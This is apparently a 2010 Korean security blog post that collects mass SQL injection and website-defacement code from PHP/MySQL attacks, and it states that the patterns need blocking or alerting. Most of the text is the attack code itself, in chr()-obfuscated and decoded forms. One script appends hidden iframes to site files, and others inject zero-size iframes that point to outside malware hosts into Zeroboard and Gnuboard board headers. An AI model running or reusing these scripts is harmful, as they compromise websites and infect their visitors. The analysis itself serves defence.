2010.12.28 15:42

Mass SQL Injection Attack Code (PHP, MySQL)

* 홈페이지 변조 및 Mass SQL Injection을 통해 대량 악성코드 유포 발생
- 최근 공격 코드 유형 파악해서 차단이나 알람 대응 필요

# 홈페이지 변조 코드

function gmfun($path){$daima=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).
chr(61).chr(38).chr(35).chr(120).chr(54).chr(56).chr(59).chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).
chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).chr(38).chr(35).chr(120).chr(55).chr(48).chr(59).chr(38).
chr(35).chr(120).chr(51).chr(65).chr(59).chr(38).chr(35).chr(120).chr(50).chr(70).chr(59).chr(38).chr(35).
chr(120).chr(50).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(49).chr(59).chr(38).chr(35).chr(120).
chr(55).chr(48).chr(59).chr(38).chr(35).chr(120).chr(55).chr(48).chr(59).chr(38).chr(35).chr(120).chr(54).
chr(67).chr(59).chr(38).chr(35).chr(120).chr(54).chr(53).chr(59).chr(38).chr(35).chr(120).chr(50).chr(69).
chr(59).chr(38).chr(35).chr(120).chr(54).chr(51).chr(59).chr(38).chr(35).chr(120).chr(54).chr(56).chr(59).
chr(38).chr(35).chr(120).chr(54).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(38).
chr(35).chr(120).chr(50).chr(69).chr(59).chr(38).chr(35).chr(120).chr(54).chr(51).chr(59).chr(38).chr(35).
chr(120).chr(54).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(68).chr(59).chr(38).chr(35).chr(120).
chr(50).chr(70).chr(59).chr(38).chr(35).chr(120).chr(55).chr(56).chr(59).chr(38).chr(35).chr(120).chr(54).
chr(68).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(38).chr(35).chr(120).chr(50).chr(70).
chr(59).chr(38).chr(35).chr(120).chr(54).chr(57).chr(59).chr(38).chr(35).chr(120).chr(54).chr(69).chr(59).
chr(38).chr(35).chr(120).chr(54).chr(52).chr(59).chr(38).chr(35).chr(120).chr(54).chr(53).chr(59).chr(38).
chr(35).chr(120).chr(55).chr(56).chr(59).chr(38).chr(35).chr(120).chr(50).chr(69).chr(59).chr(38).chr(35).
chr(120).chr(54).chr(56).chr(59).chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).chr(38).chr(35).chr(120).
chr(54).chr(68).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(32).chr(119).chr(105).chr(100).
chr(116).chr(104).chr(61).chr(50).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).chr(116).chr(61).
chr(50).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(62);$key=chr(105).
chr(110).chr(100).chr(101).chr(120).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(99).chr(111).
chr(110).chr(102).chr(105).chr(103).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(100).chr(101).
chr(102).chr(97).chr(117).chr(108).chr(116).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(109).
chr(97).chr(105).chr(110).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(105).chr(110).chr(100).
chr(101).chr(120).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(100).chr(101).chr(102).
chr(97).chr(117).chr(108).chr(116).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(109).
chr(97).chr(105).chr(110).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(122).chr(98).
chr(111).chr(97).chr(114).chr(100).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(108).chr(105).
chr(98).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(104).chr(111).chr(109).chr(101).chr(92).
chr(46).chr(112).chr(104).chr(112);$d = @dir($path);while(false !== ($v = $d->read())) {if($v == chr(46) || $v == chr(46).chr(46)) continue;$file = $d->path.chr(47).$v;if(@is_dir($file)) {gmfun($file);} else {if(@ereg(stripslashes($key),$file)) {$mm=stripcslashes( trim( $daima ) );$handle = @fopen ($file, chr(97));@fwrite($handle, $mm);@fclose($handle);echo $file.chr(60).chr(98).chr(114).chr(62);}}}$d->close();}set_time_limit(0);gmfun($_SERVER[DOCUMENT_ROOT]);

# Mass SQL Injection (제로보드)

include chr(46).chr(46).chr(47).chr(108).chr(105).chr(98).chr(46).chr(112).chr(104).chr(112);$connect=
dbconn();$Code=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).
chr(99).chr(61).chr(34).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(104).chr(46).
chr(110).chr(101).chr(120).chr(112).chr(114).chr(105).chr(99).chr(101).chr(46).chr(99).chr(111).chr(109).
chr(47).chr(99).chr(115).chr(115).chr(47).chr(120).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).
chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).
chr(104).chr(116).chr(61).chr(48).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).
chr(101).chr(62);$a=chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$group_table.chr(32).
chr(115).chr(101).chr(116).chr(32).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(61).chr(67).
chr(79).chr(78).chr(67).chr(65).chr(84).chr(40).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(44).
chr(39).$Code.chr(39).chr(41);mysql_query($a);@mysql_close($connect);
# 정상코드
include '../lib.php';
$connect=dbconn();
$Code='<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>';
$a='update $group_table set header=CONCAT(header,$Code);
mysql_query($a);
@mysql_close($connect);

# Mass SQL Injection (제로보드2)

include chr(46).chr(46).chr(47).chr(108).chr(105).chr(98).chr(46).chr(112).chr(104).chr(112);$connect=
dbconn();$result = mysql_query(chr(115).chr(101).chr(108).chr(101).chr(99).chr(116).chr(32).chr(110).
chr(97).chr(109).chr(101).chr(44).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(32).chr(102).
chr(114).chr(111).chr(109).chr(32).$group_table);while ($qing = mysql_fetch_array($result, MYSQL_NUM
)){$daima=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).
chr(61).chr(34).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(104).chr(46).chr(110).
chr(101).chr(120).chr(112).chr(114).chr(105).chr(99).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).
chr(99).chr(115).chr(115).chr(47).chr(120).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).chr(119).
chr(105).chr(100).chr(116).chr(104).chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).
chr(116).chr(61).chr(48).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).
chr(62);$mm=stripcslashes( trim( $daima) );$kong;$oldheader = str_replace($mm,$kong,$qing[1]);$a=
chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$group_table.chr(32).chr(115).chr(101).
chr(116).chr(32).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(32).chr(61).chr(32).chr(39).
$oldheader.chr(39).chr(32).chr(119).chr(104).chr(101).chr(114).chr(101).chr(32).chr(110).chr(97).chr(109).
chr(101).chr(61).chr(39).$qing[0].chr(39);mysql_query($a);}@mysql_close($connect);
# 정상코드
include '../lib.php';
$connect=dbconn();
$result = mysql_query('select name,header from $group_table');
while ($qing = mysql_fetch_array($result, MYSQL_NUM))
{
$daima='<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>';
$mm=stripcslashes( trim( $daima) );
$kong;
$oldheader = str_replace($mm,$kong,$qing[1]);
$a="update $group_table set header = '$oldheader' where name='$qing[0]'";
mysql_query($a);
}
@mysql_close($connect);

# Mass SQL Injection (그누보드)

$g4_path=chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47);include chr(46).chr(46).
chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(99).chr(111).chr(109).chr(109).chr(111).chr(110).
chr(46).chr(112).chr(104).chr(112);$result = mysql_query(chr(115).chr(101).chr(108).chr(101).chr(99).
chr(116).chr(32).chr(98).chr(111).chr(95).chr(116).chr(97).chr(98).chr(108).chr(101).chr(44).chr(98).
chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(95).chr(104).chr(101).
chr(97).chr(100).chr(32).chr(102).chr(114).chr(111).chr(109).chr(32).$g4[board_table]);$daima=chr(60).
chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).chr(61).chr(34).
chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(119).chr(119).chr(119).chr(46).chr(114).
chr(111).chr(53).chr(50).chr(49).chr(46).chr(99).chr(111).chr(109).chr(47).chr(116).chr(101).chr(115).
chr(116).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).chr(119).chr(105).chr(100).chr(116).chr(104).
chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).chr(116).chr(61).chr(48).chr(62).
chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(62);$daima=stripcslashes(trim(
$daima));while ($qing = mysql_fetch_array($result, MYSQL_NUM)){if(strpos($qing[1],$daima)>0){    }
else{mysql_query(chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$g4[board_table].chr(32).
chr(115).chr(101).chr(116).chr(32).chr(98).chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).
chr(110).chr(116).chr(95).chr(104).chr(101).chr(97).chr(100).chr(61).chr(67).chr(79).chr(78).chr(67).chr(65).
chr(84).chr(40).chr(98).chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).
chr(95).chr(104).chr(101).chr(97).chr(100).chr(44).chr(39).chr(32).$daima.chr(39).chr(41).chr(32).chr(119).
chr(104).chr(101).chr(114).chr(101).chr(32).chr(98).chr(111).chr(95).chr(116).chr(97).chr(98).chr(108).
chr(101).chr(61).chr(39).$qing[0].chr(39));}}@mysql_close($connect);
# 정상코드
$g4_path='../../../';
include '../../../common.php';
$result = mysql_query('select bo_table,bo_content_head from $g4[board_table]');
$daima='<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>';
$daima=stripcslashes(trim($daima));
while ($qing = mysql_fetch_array($result, MYSQL_NUM))
{
if(strpos($qing[1],$daima)>0){    }
else
{
mysql_query(update $g4[board_table] set bo_content_head=CONCAT(bo_content_head, $daima) where o_table='$qing[0]');
}
}
@mysql_close($connect);

Trackback 0 Comment 0